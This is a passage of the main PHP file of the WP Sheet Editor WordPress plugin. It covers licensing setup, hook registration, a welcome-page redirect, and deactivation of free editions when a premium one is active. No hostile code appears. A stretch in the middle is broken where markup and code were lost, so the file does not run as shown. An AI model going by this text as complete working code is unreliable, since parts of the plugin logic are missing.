(!defined('VGSE_MAIN_FILE')) { define('VGSE_MAIN_FILE', __FILE__); } if (!defined('VGSE_DIST_DIR')) { define('VGSE_DIST_DIR', __DIR__); } require_once 'inc/freemius-init.php'; if (!vgse_freemius()->can_use_premium_code__premium_only()) { $post_types_path = __DIR__ . '/inc/custom-post-types.php'; if (file_exists($post_types_path)) { require_once $post_types_path; } } if (!class_exists('WP_Sheet_Editor_Dist')) { class WP_Sheet_Editor_Dist { static private $instance = false; var $modules_controller = null; public $textname = 'vg_sheet_editor_posts'; var $sheets_bootstrap = null; private function __construct() { } /** * Creates or returns an instance of this class. */ static function get_instance() { if (null == WP_Sheet_Editor_Dist::$instance) { WP_Sheet_Editor_Dist::$instance = new WP_Sheet_Editor_Dist(); WP_Sheet_Editor_Dist::$instance->init(); } return WP_Sheet_Editor_Dist::$instance; } function notify_wrong_core_version() { $plugin_data = get_plugin_data(__FILE__, false, false); ?>

                  textname); ?>

                  modules_controller = new WP_Sheet_Editor_CORE_Modules_Init(__DIR__, vgse_freemius()); add_action('plugins_loaded', array($this, 'late_init')); // After core has initialized add_filter('vg_sheet_editor/after_init', array($this, 'after_core_init')); add_action('init', array($this, 'after_init')); add_action( 'before_woocommerce_init', function() { if ( class_exists( \Automattic\WooCommerce\Utilities\FeaturesUtil::class ) ) { $main_file = __FILE__; $parent_dir = dirname( dirname( $main_file ) ); $new_path = str_replace( $parent_dir, '', $main_file ); $new_path = wp_normalize_path( ltrim( $new_path, '\\/' ) ); \Automattic\WooCommerce\Utilities\FeaturesUtil::declare_compatibility( 'custom_order_tables', $new_path, true ); } } ); } function after_init() { load_plugin_textdomain($this->textname, false, basename(dirname(__FILE__)) . '/lang/'); } /** * Redirect to welcome page after plugin activation */ function redirect_to_welcome_page() { if (is_multisite() && !is_super_admin()) { return; } // Bail if no activation redirect $flag_key = 'vgse_welcome_redirect'; $flag = get_option($flag_key, ''); if ($flag === 'no') { return; } update_option($flag_key, 'no'); // Disable "whats new" redirect update_option('vgse_hide_whats_new_' . VGSE()->version, 'yes'); // Bail if activating from network, or bulk if (is_network_admin() || isset($_GET['activate-multi'])) { return; } if( ! empty($_GET['vg_sheet_editor_setup'])){ return; } $welcome_url = esc_url(add_query_arg(array('page' => 'vg_sheet_editor_setup'), admin_url('admin.php'))); wp_redirect($welcome_url); exit(); } function after_core_init() { if (version_compare(VGSE()->version, '2.25.13') < 0) { add_action('admin_notices', array($this, 'notify_wrong_core_version')); return; } add_action('admin_init', array($this, 'redirect_to_welcome_page')); // Enable admin pages in case "frontend sheets" addon disabled them add_filter('vg_sheet_editor/register_admin_pages', '__return_true', 11); // We register early. So plugins for specific post types can overwrite the toolbar item. add_action('vg_sheet_editor/editor/before_init', array($this, 'register_toolbar_items'), 9); // Set up posts editor. // Allow to bootstrap editor manually, later. if (!apply_filters('vg_sheet_editor/bootstrap/manual_init', false)) { $this->sheets_bootstrap = new WP_Sheet_Editor_Bootstrap(); } add_action('admin_init', array($this, 'disable_free_plugins_when_premium_active'), 1); } function register_toolbar_items($editor) { if (!$editor->provider->is_post_type) { return; } if (!WP_Sheet_Editor_Helpers::current_user_can('install_plugins')) { return; } $editor->args['toolbars']->register_item('wpse_license', array( 'type' => 'button', 'content' => __('My license', WP_Sheet_Editor_Dist::get_instance()->textname), 'extra_html_attributes' => ' target="_blank" ', 'url' => vgse_freemius()->get_account_url(), 'toolbar_key' => 'secondary', 'allow_in_frontend' => false, 'fs_id' => vgse_freemius()->get_id() ), $editor->args['provider']); } function disable_free_plugins_when_premium_active() { $free_plugins_path = array( 'wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/wp-sheet-editor.php', 'wp-sheet-editor-woocommerce-inventory/woocommerce-inventory.php' ); $premium_plugins_path = array( 'wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages-premium/wp-sheet-editor.php', 'wp-sheet-editor-premium/wp-sheet-editor.php', ); $is_premium_active = false; foreach ($premium_plugins_path as $relative_path) { if (is_plugin_active($relative_path)) { $is_premium_active = true; break; } } if ($is_premium_active) { foreach ($free_plugins_path as $relative_path) { $path = wp_normalize_path(WP_PLUGIN_DIR . '/' . $relative_path); if (is_plugin_active($relative_path)) { deactivate_plugins(plugin_basename($path)); } } } } function late_init() { if (function_exists('vgse_freemius')) { if (vgse_freemius()->can_use_premium_code__premium_only()) { add_filter('vg_sheet_editor/whats_new_page/items', array($this, 'add_whats_new_items__premium_only')); } } add_filter('vg_sheet_editor/allowed_post_types', array($this, 'enable_basic_post_types')); } function enable_basic_post_types($post_types) { if (!isset($post_types['post'])) { $post_types['post'] = 'Posts'; } if (!isset($post_types['page'])) { $post_types['page'] = 'Page'; } return $post_types; } function add_whats_new_items__premium_only($items) { $path = __DIR__ . '/whats-new/' . VGSE()->version . '.php'; if (!file_exists($path)) { return $items; } include $path; return array_merge($items, $pro_items); } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } WP_Sheet_Editor_Dist::get_instance(); index.php000064400000000000147600365160006362 0ustar00